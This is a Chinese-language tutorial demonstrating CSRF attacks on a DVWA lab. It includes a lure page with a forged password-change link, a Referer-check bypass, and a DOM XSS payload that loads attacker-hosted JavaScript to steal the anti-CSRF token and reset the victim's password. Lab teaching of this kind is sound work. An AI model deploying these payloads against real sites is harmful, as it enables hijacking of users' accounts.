admin管理员组

文章数量:1637795

CSRF 伪造用户请求攻击

文章目录

  • CSRF 伪造用户请求攻击
    • 0x01 CSRF 原理
      • 1.CSRF 漏洞的定义
      • 2.XSS与 CSRF的区别
      • 3.CSRF 的简单理解
      • 4.CSRF 实验环境
    • 0x02 基于 DVWA 的 low 级别演示 CSRF 攻击
      • 1.查看源代码
      • 2.构造URL 链接
      • 3.验证CSRF 攻击
      • 4.构造恶意链接
      • 5.短链接介绍
    • 0x03 基于 DVWA 的 Medium 级别演示 CSRF 攻击
      • 1.查看源代码并简单测试
      • 2.通过抓包修改密码和通过其他页面提交请求的区别
        • 2.1 抓取正常的 HTTP请求,修改密码
        • 2.2 抓取通过其他页面传入参数的请求
        • 2.3 绕过 Referer 过滤
    • 0x04 基于 DVWA 的 High 级别演示 CSRF 攻击
      • 1.分析源码
      • 2.测试 XSS(DOM)型中的high级别
      • 3.通过 XSS(DOM)漏洞进行 CSRF 攻击
    • 0x05 使用 CSRFTester 进行自动化探测 CSRF 漏洞
      • 1.探测的目的
      • 2.自动化探测工具介绍
        • 2.1 启动 CSRFTester
    • 0x06 总结

0x01 CSRF 原理

1.CSRF 漏洞的定义

CSRF (Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或者 Session Riding,通常缩写为 CSRF或者 XSRF

2.XSS与 CSRF的区别

1)XSS利用用户对站点的信任,盗取 Cookie;

2)CSRF 通过伪装成受信任用户请求,利用站点对已经身份认证的信任,访问网站,

与XSS攻击相比,CSRF 攻击往往不太流行(因此对其进行防护的资源也想当稀少)和难以防范所以被认为比XSS更具危险性

3.CSRF 的简单理解

假设用户已经保存某网站的登录信息,下次登录不需要认证,此时黑客构造一个访问该站点的链接并添加如:修改密码、转账等操作的参数、用户点击链接后,黑客构造的参数被执行。这就是最简单的 CSRF 攻击方式

4.CSRF 实验环境

PC名称IP 地址
localhostDVWA 服务器192.168.186.128
KaliHacker192.168.186.130
win7被攻击方192.168.186.131

0x02 基于 DVWA 的 low 级别演示 CSRF 攻击

1.查看源代码

在kali中用火狐访问 http://192.168.186.128/DVWA-master/login.php 登录 DVWA 用户名:admin 密码:password

修改安全级别

查看源代码

代码中没有任何的过滤。参数直接传递到了$pass_new$pass_conf中并带入数据库中执行。但是带入数据库中执行时通过 mysql 的函数对 sql 语句进行了过滤,不过并不影响我们正常的修改密码操作。

2.构造URL 链接

修改浏览器数据,将这个数据提交

将抓到的包 发送到中继器里面

GET /DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1

红色部分是修改密码传递的参数

我们将URL地址和字符串拼接在一起

http://192.168.186.128/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

只要用户点击这个链接,用户的密码就会被改为 123456

3.验证CSRF 攻击

在win7上使用chrome 访问链接 http://192.168.186.128/DVWA-master/login.php

用户名 smithy 密码 password

安全级别改为low

让用户访问我们构造的恶意链接 http://192.168.186.128/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们再次登录DVWA 发现密码被更改了http://192.168.186.128/DVWA-master/login.php

4.构造恶意链接

构造恶意链接 诱导用户点击 访问kali

┌──(root💀fengzilin55)-[~]
└─# systemctl start apache2.service  

┌──(root💀fengzilin55)-[~]
└─# cd /var/www/html                                                                                                      130 ⨯
                                                                                                                                
┌──(root💀fengzilin55)-[/var/www/html]
└─# vim csrf.html 
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>恭喜你中大奖了</title>
</head>

<body>
    <a href="http://192.168.186.128/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change">点击领取百万大奖</a>
</body>

</html>

在win7上访问 http://192.168.186.130/csrf.html 点击领取百万大奖

发现密码已经修改了

输入用户名和密码 用户名 smithy 密码 password

5.短链接介绍

新浪短链接https://sina.lt/

通过短连接来隐藏真实 URL 的方式必须是目标在公网提供服务的场景,实验场景中我们是内网环境,所以是不能够使用短连接的

前提是必须将 公网IP 才能转换我们使用baidu 百度构造短链接

https://www.baidu/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change

0x03 基于 DVWA 的 Medium 级别演示 CSRF 攻击

1.查看源代码并简单测试

扩展:stripos() 函数作用:查找字符串在另一字符串中第一次出现的位置(不区分大小写)

例:查找 “php” 在字符串中第一此出现的位置:

<?php
	echo stripos("You love php,I love php too!","PHP");
?>

修改安全级别为 Medium

查看源代码

代码中对 referer 进行了校验

HTTP Referer 是 header 的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从那个页面链接过来的,服务器基此可以获得一些信息用于处理

在PHP 中使用 $_SERVER['HTTP_REFERER']获取页面提交请求中的 Referer值

抓包查看 Referer 内容效果;

例如:

<?php
 if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!== false)
 {
  条件成功,说明此网址是从本网站,跳转过来的
 }
 else
 {
 判断失败,说明此网址不是从本网站,跳转过来的
 }
 ?>

在 Win7 上使用 smithy 用户登录登录测试,我们前面已经将该用户的密码修改为 password,安全级别为 Medium

修改一下前面页面中的密码设置

┌──(root💀fengzilin55)-[/var/www/html]
└─# vim csrf.html
  <a href="http://192.168.186.128/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">点击领取百万大奖</a>

在把密码修改为 123456 因为当前密码是 password

在win7访问 http://192.168.186.130/csrf.html

会发现修改失败

因为源码中 referer头是校验返回头部信息是否存在,我们发现并不存在,所以会修改失败

2.通过抓包修改密码和通过其他页面提交请求的区别

2.1 抓取正常的 HTTP请求,修改密码

直接修改密码即可修改 GET 请求中的 passwrd_new和 password_conf

抓到 点击Drop 丢弃,不然密码就被修改成功了,点击丢弃

2.2 抓取通过其他页面传入参数的请求

在URL中输入 http://192.168.186.130/csrf.html

Referer: http://192.168.186.130/csrf.html

这里我们同样的也丢弃,我们只需记录 Referer 信息即可

对比 Referer 信息

原始:Referer: http://192.168.186.128/DVWA-master/vulnerabilities/csrf/

伪造:Referer: http://192.168.186.130/csrf.html

我们可以看到,伪造的请求并不符合代码中对 Referer 信息的过滤,在伪造的链接中找不到

2.3 绕过 Referer 过滤

我们通过修改网站目录结构,来让Referer满足过滤规则

新建一个目录,目录的名字是:192.168.186.128 路径 /var/www/html/192.168.186.128

┌──(root💀fengzilin55)-[/var/www/html]└─# mkdir 192.168.186.128                                                                                                                                ┌──(root💀fengzilin55)-[/var/www/html]└─# mv csrf.html 192.168.186.128                                                                                                                                 ┌──(root💀fengzilin55)-[/var/www/html]└─# chown www-data:www-data 192.168.186.128 -R

修改安全级别 当前密码是password payload 中修改密码 123456

访问:http://192.168.186.130/192.168.186.128/csrf.html

密码被修改成功了

登录测试

0x04 基于 DVWA 的 High 级别演示 CSRF 攻击

1.分析源码

环境需求:使用 chrome 关闭 XSS 浏览器

访问:http://192.168.186.128/DVWA-master/login.php# 账号 smithy 密码为123456

将 DVWA 改为 High

分析源码

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
可以看到 High 级别添加了 token 的认证,token 可以保证每个请求的 token 都是唯一的,是用来防护 CSRF 的常用方法。我们不可能知道用户的 token 是什么,所以我们需要利用其它 XSS 方法来进行利用。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L0aogpv6-1619945083981)(https://gitee/Fzilin/image-typora2/raw/master/image-20210417134721086.png)]

2.测试 XSS(DOM)型中的high级别

打开的High代码,查看源码

代码中定义了一个白名单,我们只能选择白名单内容才可以,输入其他字符无效

http://192.168.186.128/DVWA-master/vulnerabilities/xss_d/?default=English

输入这个:http://192.168.186.128/DVWA-master/vulnerabilities/xss_d/?default=1234 访问,查看发现无法修改其他字符

开始注入,注入思路

# 符号之后的代码不会别发送到服务器,也就是说代码没有被传递到服务器端,但是在本地页面已经加载

演示:
payload:

http://192.168.186.128/DVWA-master/vulnerabilities/xss_d/?default=English#<script>alert("fengzilin")</script>

发现成功弹出 输入的字符

3.通过 XSS(DOM)漏洞进行 CSRF 攻击

我们现在得到了一个 XSS 漏洞,我们可以让页面加载我们构造的js文件,来执行 CSRF 攻击代码

创建js文件

//弹出 cookie alert(document.cookie); //定义 AJAX 加载的页面  var theUrl = 'http://192.168.186.128/DVWA-master/vulnerabilities/csrf/'; //匹配浏览器 if (window.XMLHttpRequest){ // IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest();  }else{ // IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); }  var count = 0; //页面加载完成后执行函数  xmlhttp.onreadystatechange=function(){ //判断请求已完成并且响应就绪状态码为 200 时执行代码  if (xmlhttp.readyState==4 && xmlhttp.status==200)  { //页面内容存储到 text 中进行匹配 token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); //弹出 token alert(match[1]); var token = match[1]; //定义 payload url 并绑定 token 为我们从页面匹配到的 token 并且定义新的密码,新密码是admin var new_url = 'http://192.168.186.128/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&pass word_conf=admin&Change=Change' //GET 方式提交一次 new_url if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; //GET 方式提交 theUrl  xmlhttp.open("GET",theUrl,false);  xmlhttp.send(); 

构造 XSS(DOM)payload:通过 XSS 攻击,加载 js 代码进行 CSRF 攻击

http://192.168.186.128/DVWA-master/vulnerabilities/xss_d/?default=English#<script src="http://192.168.186.130/csrf.js"></script>

登录win7 测试payload

用户登录状态

弹出 cookie

弹出token

获取新的 token 进行关联,然后提交修改密码操作

执行完成

对js代码的作用进行说明:

总共2个步骤:

  1. 通过XMLHttpRequest 获取csrf 页面内容
  2. 解析新的 token 将令牌于提交的密码参数相关联,并提交数据

总结:

通过XMLHttpRequest 在页面中加载 csrf 页面然后获取到新的 token 进行提交数据

如果不需要弹出注释掉即可,这里需要弹窗是为了测试

//alert(document.cookie);//alert(match[1]);使用//进行注释

代码详细分析,其实代码的框架就是一个AJAX的操作

AJAX 概述:AJAX 是一种在无需重新加载整个页面的情况下,能够更新部分网页的技术

关于 AJAX 的详细介绍:https://www.w3school/ajax/ajax_intro.asp

0x05 使用 CSRFTester 进行自动化探测 CSRF 漏洞

1.探测的目的

探测的目的是:探测 web 应用程序是否具有防止 CSRF 的措施

如果 Web 应用程序的 HTTP 请求中没有对应的预防措施,那么很大程度上就确定存在 CSRF 漏洞

2.自动化探测工具介绍

实验环境:win7 虚拟机中

CSRFTester 是一款 CSRF 漏洞的测试工具

CSRFTester 工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过CSRFTester 中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改过的测试请求,成功被网站服务器接收,则说明存在 CSRF 漏洞,当然此款攻击也可以被用来进行 CSRF 攻击

步骤如下:

(1)设置浏览器代理:127.0.0.1:8008

(2)登录 Web 应用程序,提交表单,在 CSRF 攻击中修改表单内容,查看是否更改,如果更改表单存在 CSRF 漏洞

(3)生成 POC 代码

扩展:POC 测试,即 Proof of Concept,是业界流行的针对具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化。

2.1 启动 CSRFTester

需要安装 JDK8 ,这个 JDK8 在前面安装 burpsuite 已经安装了,这里就不用安装了,点击 run

点击开启录制

使用插件代理浏览器地址

地址为:127.0.0.1 代理端口为 8008

访问网页:http://192.168.186.128/DVWA-master/login.php

登录,将安全级别改为 Low

选择存储型 点击 Sign Guestbook

停止录制

在CSRFTester 1.0 中寻找,一般是最后一个 POST 请求

选中POST 请求, 然后修改 mtxMessage=fengzilin 改为 fengzilin-sec

生成HTML

去掉勾选 Display in Browser 选择 Generate HTML

将生成的 HTML文件放在桌面上

右击用 记事本或者 Notepad ++ 打开

删除框选的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FqD3o9X4-1619945083996)(https://gitee/Fzilin/image-typora2/raw/master/image-20210417162236204.png)]

留下框选的内容,删除其他没有用的东西

用浏览器打开 生成的 HTML 发现已经更改了

表单内容成功提交
工具可以记录并修改表单内容然后生成页面 POC 文件,然后进行提交,如果能够提交成功则存在CSRF 漏洞。

0x06 总结

本章学习了 CSRF 的从简单的构造恶意链接以及抓取 请求来绕过 Referer头,还有利用 XSS漏洞结合CSRF 来进行 攻击,以及使用自动化探测工具来探测 CSRF 漏洞

本文标签: 用户CSRF